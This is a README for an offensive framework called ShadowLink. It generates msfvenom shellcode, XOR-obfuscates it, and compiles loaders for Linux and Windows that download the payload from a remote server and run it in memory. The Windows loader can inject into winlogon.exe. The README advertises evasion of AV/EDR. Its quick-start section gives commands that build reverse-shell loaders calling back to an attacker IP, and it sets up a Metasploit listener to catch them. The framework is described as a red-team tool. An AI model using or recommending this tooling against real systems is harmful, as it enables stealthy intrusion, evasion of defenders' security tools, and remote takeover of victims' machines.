🕶️ ShadowLink

September 1, 2025 · View on GitHub

Where access meets invisibility.

ShadowLink is a next-generation, automated framework for generating, obfuscating, and delivering shellcode through in-memory loaders. Designed for red team operations, penetration testing, and offensive research, ShadowLink empowers attackers to deploy stealthy, fileless payloads that execute directly in memory — bypassing traditional AV/EDR detection mechanisms.

With a modular design and seamless automation, ShadowLink turns complex exploitation workflows into one-liner commands, making payload delivery faster, smarter, and more evasive than ever.

✨ Crafted for control. Built for stealth.

🔥 What is ShadowLink

ShadowLink is a modular framework that automates the creation of custom shellcode loaders with built-in evasion capabilities. The system generates native C programs that download shellcode from a remote server and execute it entirely in memory, leaving minimal forensic artifacts on target systems.

The framework supports multiple execution modes including basic shellcode loading, XOR-obfuscated payloads, and advanced Windows process injection techniques. All components are orchestrated through shell scripts that handle shellcode generation, encoding, loader compilation, and cross-platform builds.

🔥 Key Features

✅ Automated Shellcode Generation
→ Uses msfvenom to generate raw payloads for Linux & Windows.

✅ XOR Obfuscation (Optional)
→ Encode shellcode with a custom XOR key to evade static detection.

✅ In-Memory Execution
→ Payloads are downloaded and executed directly in memory — no disk writes.

✅ Dual-Platform Support
→ Generate native loaders for Linux (via mmap) and Windows (via VirtualAlloc + NtCreateThreadEx).

✅ Remote Process Injection (Windows)
→ Inject shellcode into remote processes like winlogon.exe using low-level NTAPI calls.

✅ Customizable C Loaders
→ Fully templated C code with placeholders for URL, User-Agent, timeout, and size limits.

✅ No Dependencies (Runtime)
→ Final binaries are statically linked and require no external libraries on target.

✅ Easy Integration with Metasploit
→ Works seamlessly with exploit/multi/handler.

🛠️ Installation

git clone https://github.com/your-username/shadowlink.git
cd shadowlink
chmod +x *.sh

🛠️ Prerequisites

# Debian/Kali/Ubuntu
sudo apt update
sudo apt install \
    gcc \
    mingw-w64 \
    curl \
    libcurl4-openssl-dev \
    xxd \
    python3 \
    metasploit-framework \
    make

🚀 Quick Start

Generate a Linux Payload (No XOR)

./main.sh linux 10.10.14.10 5555

Generate a Windows Payload (With XOR)

./main.sh windows 10.10.14.10 4444 xor 0x42

🚀 This will:

Generate a reverse shell payload.
Apply XOR encoding (if enabled).
Host the payload on your server (you can use python3 -m http.server 80).
Build a custom C loader that downloads and executes the payload in memory.
Output a ready-to-use binary: loader_linux or loader_windows.exe.

Set Up Your Listener

msfconsole -q -x "
    use exploit/multi/handler;
    set PAYLOAD [linux|windows]/x64/shell_reverse_tcp;
    set LHOST 0.0.0.0;
    set LPORT 5555;
    run
"

Deliver & Execute Transfer the binary to the target and run it. The loader will:

Download the shellcode from your server.
Decode it (if XOR’d).
Allocate executable memory.
Execute the payload — all in memory.

📂 Project Structure

shadowlink/
├── main.sh                     # Main orchestrator (entry point)
├── gen_txt.sh                  # Generates shellcode + XOR encoding
├── gen_xor.sh                  # Applies XOR encoding to binary
├── gen_loader.sh               # Generates basic C loader (no XOR)
├── gen_loader2.sh              # Generates XOR-aware C loader
├── loader_windows_infect.c     # Advanced: Injects into remote process (e.g. winlogon.exe)
├── Makefile                    # Cross-compilation rules
└── README.md